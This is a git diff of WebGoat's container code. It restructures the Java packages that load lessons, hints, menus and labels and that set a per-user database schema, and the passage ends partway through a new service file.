http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.lessons; + +import static java.util.stream.Collectors.groupingBy; + +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; +import java.util.*; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.ArrayUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.Course; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +@Slf4j +@Configuration +public class CourseConfiguration { + + private final List lessons; + private final List assignments; + private final Map> assignmentsByPackage; + + public CourseConfiguration(List lessons, List assignments) { + this.lessons = lessons; + this.assignments = assignments; + assignmentsByPackage = + this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName())); + } + + @Bean + public Course course() { + lessons.stream().forEach(l -> l.setAssignments(createAssignment(l))); + return new Course(lessons); + } + + private List createAssignment(Lesson lesson) { + var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName()); + if (CollectionUtils.isEmpty(endpoints)) { + log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle()); + return new ArrayList<>(); + } + return endpoints.stream() + .map( + e -> + new Assignment( + e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))) + .toList(); + } + + private String getPath(Class e) { + for (Method m : e.getMethods()) { + if (methodReturnTypeIsOfTypeAttackResult(m)) { + var mapping = getMapping(m); + if (mapping != null) { + return mapping; + } + } + } + throw new IllegalStateException( + "Assignment endpoint: " + + e + + " has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or" + + " 'ResponseEntity' please consider adding one"); + } + + private boolean methodReturnTypeIsOfTypeAttackResult(Method m) { + if (m.getReturnType() == AttackResult.class) { + return true; + } + var genericType = m.getGenericReturnType(); + if (genericType instanceof ParameterizedType) { + return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0] + == AttackResult.class; + } + return false; + } + + private String getMapping(Method m) { + String[] paths = null; + // Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are + // valid, we need to consider both + if (m.getAnnotation(RequestMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(RequestMapping.class).value(), + m.getAnnotation(RequestMapping.class).path()); + } else if (m.getAnnotation(PostMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(PostMapping.class).value(), + m.getAnnotation(PostMapping.class).path()); + } else if (m.getAnnotation(GetMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path()); + } else if (m.getAnnotation(PutMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path()); + } + if (paths == null) { + return null; + } else { + return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse(""); + } + } + + private List getHints(Class e) { + if (e.isAnnotationPresent(AssignmentHints.class)) { + return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value()); + } + return Collections.emptyList(); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java b/src/main/java/org/owasp/webgoat/container/lessons/Hint.java similarity index 89% rename from webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java rename to src/main/java/org/owasp/webgoat/container/lessons/Hint.java index c2205b240..6a18d8f94 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java +++ b/src/main/java/org/owasp/webgoat/container/lessons/Hint.java @@ -1,36 +1,36 @@ /*************************************************************************************************** - * - * + * + * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ - * + * * Copyright (c) 2002 - 2014 Bruce Mayhew - * + * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. - * + * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. - * + * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. - * + * * Getting Source ============== - * + * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. - * + * */ -package org.owasp.webgoat.lessons; +package org.owasp.webgoat.container.lessons; import lombok.Value; /** - *

Hint class.

+ * Hint class. * * @author rlawson * @version $Id: $Id @@ -38,6 +38,6 @@ import lombok.Value; @Value public class Hint { - private String hint; - private String assignmentPath; + private String hint; + private String assignmentPath; } diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java b/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java new file mode 100644 index 000000000..2a9726b6f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java @@ -0,0 +1,12 @@ +package org.owasp.webgoat.container.lessons; + +import org.owasp.webgoat.container.users.WebGoatUser; + +/** + * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and + * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson. + */ +public interface Initializeable { + + void initialize(WebGoatUser webGoatUser); +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java b/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java new file mode 100644 index 000000000..18f031c93 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java @@ -0,0 +1,124 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.lessons; + +import java.util.List; +import lombok.Getter; +import lombok.Setter; + +@Getter +@Setter +public abstract class Lesson { + + private static int count = 1; + private Integer id = null; + private List assignments; + + /** Constructor for the Lesson object */ + protected Lesson() { + id = ++count; + } + + /** + * getName. + * + * @return a {@link java.lang.String} object. + */ + public String getName() { + String className = getClass().getName(); + return className.substring(className.lastIndexOf('.') + 1); + } + + /** + * Gets the category attribute of the Lesson object + * + * @return The category value + */ + public Category getCategory() { + return getDefaultCategory(); + } + + /** + * getDefaultCategory. + * + * @return a {@link org.owasp.webgoat.container.lessons.Category} object. + */ + protected abstract Category getDefaultCategory(); + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public abstract String getTitle(); + + /** + * Returns the default "path" portion of a lesson's URL. + * + *

+ * + *

Legacy webgoat lesson links are of the form "attack?Screen=Xmenu=Ystage=Z". This method + * returns the path portion of the url, i.e., "attack" in the string above. + * + *

Newer, Spring-Controller-based classes will override this method to return "*.do"-styled + * paths. + * + * @return a {@link java.lang.String} object. + */ + protected String getPath() { + return "#lesson/"; + } + + /** + * Get the link that can be used to request this screen. + * + *

Rendering the link in the browser may result in Javascript sending additional requests to + * perform necessary actions or to obtain data relevant to the lesson or the element of the lesson + * selected by the user. Thanks to using the hash mark "#" and Javascript handling the clicks, the + * user will experience less waiting as the pages do not have to reload entirely. + * + * @return a {@link java.lang.String} object. + */ + public String getLink() { + return String.format("%s%s.lesson", getPath(), getId()); + } + + /** + * Description of the Method + * + * @return Description of the Return Value + */ + public String toString() { + return getTitle(); + } + + public final String getId() { + return this.getClass().getSimpleName(); + } + + public final String getPackage() { + var packageName = this.getClass().getPackageName(); + // package name is the direct package name below lessons (any subpackage will be removed) + return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", ""); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java new file mode 100644 index 000000000..3b90c963d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java @@ -0,0 +1,38 @@ +package org.owasp.webgoat.container.lessons; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.sql.Connection; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +/** + * Handler which sets the correct schema for the currently bounded user. This way users are not + * seeing each other data and we can reset data for just one particular user. + */ +@Slf4j +public class LessonConnectionInvocationHandler implements InvocationHandler { + + private final Connection targetConnection; + + public LessonConnectionInvocationHandler(Connection targetConnection) { + this.targetConnection = targetConnection; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + var authentication = SecurityContextHolder.getContext().getAuthentication(); + if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) { + try (var statement = targetConnection.createStatement()) { + statement.execute("SET SCHEMA \"" + user.getUsername() + "\""); + } + } + try { + return method.invoke(targetConnection, args); + } catch (InvocationTargetException e) { + throw e.getTargetException(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java new file mode 100644 index 000000000..9a56859ba --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java @@ -0,0 +1,20 @@ +package org.owasp.webgoat.container.lessons; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +/** + * LessonInfoModel class. + * + * @author dm + * @version $Id: $Id + */ +@Getter +@AllArgsConstructor +public class LessonInfoModel { + + private String lessonTitle; + private boolean hasSource; + private boolean hasSolution; + private boolean hasPlan; +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java new file mode 100644 index 000000000..2b956a6b7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java @@ -0,0 +1,162 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.lessons; + +import java.util.ArrayList; +import java.util.List; + +/** + * LessonMenuItem class. + * + * @author rlawson + * @version $Id: $Id + */ +public class LessonMenuItem { + + private String name; + private LessonMenuItemType type; + private List children = new ArrayList<>(); + private boolean complete; + private String link; + private int ranking; + + /** + * Getter for the field name. + * + * @return the name + */ + public String getName() { + return name; + } + + /** + * Setter for the field name. + * + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * Getter for the field children. + * + * @return the children + */ + public List getChildren() { + return children; + } + + /** + * Setter for the field children. + * + * @param children the children to set + */ + public void setChildren(List children) { + this.children = children; + } + + /** + * Getter for the field type. + * + * @return the type + */ + public LessonMenuItemType getType() { + return type; + } + + /** + * Setter for the field type. + * + * @param type the type to set + */ + public void setType(LessonMenuItemType type) { + this.type = type; + } + + /** + * addChild. + * + * @param child a {@link LessonMenuItem} object. + */ + public void addChild(LessonMenuItem child) { + children.add(child); + } + + @Override + public String toString() { + StringBuilder bldr = new StringBuilder(); + bldr.append("Name: ").append(name).append(" | "); + bldr.append("Type: ").append(type).append(" | "); + return bldr.toString(); + } + + /** + * isComplete. + * + * @return the complete + */ + public boolean isComplete() { + return complete; + } + + /** + * Setter for the field complete. + * + * @param complete the complete to set + */ + public void setComplete(boolean complete) { + this.complete = complete; + } + + /** + * Getter for the field link. + * + * @return the link + */ + public String getLink() { + return link; + } + + /** + * Setter for the field link. + * + * @param link the link to set + */ + public void setLink(String link) { + this.link = link; + } + + public void setRanking(int ranking) { + this.ranking = ranking; + } + + public int getRanking() { + return this.ranking; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonMenuItemType.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java similarity index 89% rename from webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonMenuItemType.java rename to src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java index 418f92300..0ce6b660a 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonMenuItemType.java +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java @@ -1,40 +1,40 @@ /*************************************************************************************************** - * - * + * + * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ - * + * * Copyright (c) 2002 - 2014 Bruce Mayhew - * + * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. - * + * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. - * + * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. - * + * * Getting Source ============== - * + * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. - * + * */ -package org.owasp.webgoat.lessons; +package org.owasp.webgoat.container.lessons; /** - *

LessonMenuItemType class.

+ * LessonMenuItemType class. * * @author rlawson * @version $Id: $Id */ public enum LessonMenuItemType { - CATEGORY, - LESSON, - STAGE + CATEGORY, + LESSON, + STAGE } diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java new file mode 100644 index 000000000..e21baef30 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java @@ -0,0 +1,42 @@ +package org.owasp.webgoat.container.lessons; + +import java.io.IOException; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.regex.Pattern; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.stereotype.Component; + +@Component +@Slf4j +public class LessonScanner { + + private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$"); + + @Getter private final Set lessons = new HashSet<>(); + + public LessonScanner(ResourcePatternResolver resourcePatternResolver) { + try { + var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*"); + for (var resource : resources) { + // WG can run as a fat jar or as directly from file system we need to support both so use + // the URL + var url = resource.getURL(); + var matcher = lessonPattern.matcher(url.toString()); + if (matcher.matches()) { + lessons.add(matcher.group(1)); + } + } + log.debug("Found {} lessons", lessons.size()); + } catch (IOException e) { + log.warn("No lessons found..."); + } + } + + public List applyPattern(String pattern) { + return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java b/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java new file mode 100644 index 000000000..6393de391 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java @@ -0,0 +1,18 @@ +package org.owasp.webgoat.container.service; + +import lombok.RequiredArgsConstructor; +import org.springframework.context.ApplicationContext; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController("/environment") +@RequiredArgsConstructor +public class EnvironmentService { + + private final ApplicationContext context; + + @GetMapping("/server-directory") + public String homeDirectory() { + return context.getEnvironment().getProperty("webgoat.server.directory"); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/HintService.java b/src/main/java/org/owasp/webgoat/container/service/HintService.java new file mode 100644 index 000000000..d9ee5be25 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/HintService.java @@ -0,0 +1,57 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +package org.owasp.webgoat.container.service; + +import java.util.Collection; +import java.util.List; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Hint; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * HintService class. + * + * @author rlawson + * @version $Id: $Id + */ +@RestController +public class HintService { + + public static final String URL_HINTS_MVC = "/service/hint.mvc"; + private final WebSession webSession; + + public HintService(WebSession webSession) { + this.webSession = webSession; + } + + /** + * Returns hints for current lesson + * + * @return a {@link java.util.List} object. + */ + @GetMapping(path = URL_HINTS_MVC, produces = "application/json") + @ResponseBody + public List getHints() { + Lesson l = webSession.getCurrentLesson(); + return createAssignmentHints(l); + } + + private List createAssignmentHints(Lesson l) { + if (l != null) { + return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList(); + } + return List.of(); + } + + private List createHint(Assignment a) { + return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java b/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java new file mode 100644 index 000000000..c91aeb1ae --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java @@ -0,0 +1,96 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.Map; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.LabelDebugger; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LabelDebugService class. + * + * @author nbaars + * @version $Id: $Id + */ +@Controller +@Slf4j +@AllArgsConstructor +public class LabelDebugService { + + private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc"; + private static final String KEY_ENABLED = "enabled"; + private static final String KEY_SUCCESS = "success"; + + private LabelDebugger labelDebugger; + + /** + * Checks if debugging of labels is enabled or disabled + * + * @return a {@link org.springframework.http.ResponseEntity} object. + */ + @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) + public @ResponseBody ResponseEntity> checkDebuggingStatus() { + log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled()); + Map result = createResponse(labelDebugger.isEnabled()); + return new ResponseEntity<>(result, HttpStatus.OK); + } + + /** + * Sets the enabled flag on the label debugger to the given parameter + * + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + * @return a {@link org.springframework.http.ResponseEntity} object. + */ + @RequestMapping( + value = URL_DEBUG_LABELS_MVC, + produces = MediaType.APPLICATION_JSON_VALUE, + params = KEY_ENABLED) + public @ResponseBody ResponseEntity> setDebuggingStatus( + @RequestParam("enabled") Boolean enabled) { + log.debug("Setting label debugging to {} ", labelDebugger.isEnabled()); + Map result = createResponse(enabled); + labelDebugger.setEnabled(enabled); + return new ResponseEntity<>(result, HttpStatus.OK); + } + + /** + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + * @return a {@link java.util.Map} object. + */ + private Map createResponse(Boolean enabled) { + return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LabelService.java b/src/main/java/org/owasp/webgoat/container/service/LabelService.java new file mode 100644 index 000000000..1a8f96720 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LabelService.java @@ -0,0 +1,67 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.Properties; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * LabelService class. + * + * @author zupzup + */ +@RestController +@Slf4j +@RequiredArgsConstructor +public class LabelService { + + public static final String URL_LABELS_MVC = "/service/labels.mvc"; + private final Messages messages; + private final PluginMessages pluginMessages; + + /** + * @return a map of all the labels + */ + @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity fetchLabels() { + var allProperties = new Properties(); + allProperties.putAll(messages.getMessages()); + allProperties.putAll(pluginMessages.getMessages()); + return new ResponseEntity<>(allProperties, HttpStatus.OK); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java b/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java new file mode 100644 index 000000000..fcface416 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java @@ -0,0 +1,33 @@ +package org.owasp.webgoat.container.service; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.lessons.LessonInfoModel; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * LessonInfoService class. + * + * @author dm + * @version $Id: $Id + */ +@RestController +@AllArgsConstructor +public class LessonInfoService { + + private final WebSession webSession; + + /** + * getLessonInfo. + * + * @return a {@link LessonInfoModel} object. + */ + @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json") + public @ResponseBody LessonInfoModel getLessonInfo() { + Lesson lesson = webSession.getCurrentLesson(); + return new LessonInfoModel(lesson.getTitle(), false, false, false); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java b/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java new file mode 100644 index 000000000..961e10d47 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java @@ -0,0 +1,124 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.lessons.LessonMenuItem; +import org.owasp.webgoat.container.lessons.LessonMenuItemType; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.LessonTracker; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonMenuService class. + * + * @author rlawson + * @version $Id: $Id + */ +@Controller +@AllArgsConstructor +public class LessonMenuService { + + public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc"; + private final Course course; + private final WebSession webSession; + private UserTrackerRepository userTrackerRepository; + + @Value("#{'${exclude.categories}'.split(',')}") + private List excludeCategories; + + @Value("#{'${exclude.lessons}'.split(',')}") + private List excludeLessons; + + /** + * Returns the lesson menu which is used to build the left nav + * + * @return a {@link java.util.List} object. + */ + @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json") + public @ResponseBody List showLeftNav() { + List menu = new ArrayList<>(); + List categories = course.getCategories(); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + + for (Category category : categories) { + if (excludeCategories.contains(category.name())) { + continue; + } + LessonMenuItem categoryItem = new LessonMenuItem(); + categoryItem.setName(category.getName()); + categoryItem.setType(LessonMenuItemType.CATEGORY); + // check for any lessons for this category + List lessons = course.getLessons(category); + lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList(); + for (Lesson lesson : lessons) { + if (excludeLessons.contains(lesson.getName())) { + continue; + } + LessonMenuItem lessonItem = new LessonMenuItem(); + lessonItem.setName(lesson.getTitle()); + lessonItem.setLink(lesson.getLink()); + lessonItem.setType(LessonMenuItemType.LESSON); + LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); + boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson); + lessonItem.setComplete(lessonSolved); + categoryItem.addChild(lessonItem); + } + categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking()); + menu.add(categoryItem); + } + return menu; + } + + private boolean lessonCompleted(Map map, Lesson currentLesson) { + boolean result = true; + for (Map.Entry entry : map.entrySet()) { + Assignment storedAssignment = entry.getKey(); + for (Assignment lessonAssignment : currentLesson.getAssignments()) { + if (lessonAssignment.getName().equals(storedAssignment.getName())) { + result = result && entry.getValue(); + break; + } + } + } + return result; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java b/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java new file mode 100644 index 000000000..23fc38da5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java @@ -0,0 +1,57 @@ +package org.owasp.webgoat.container.service; + +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.session.WebSession; +import 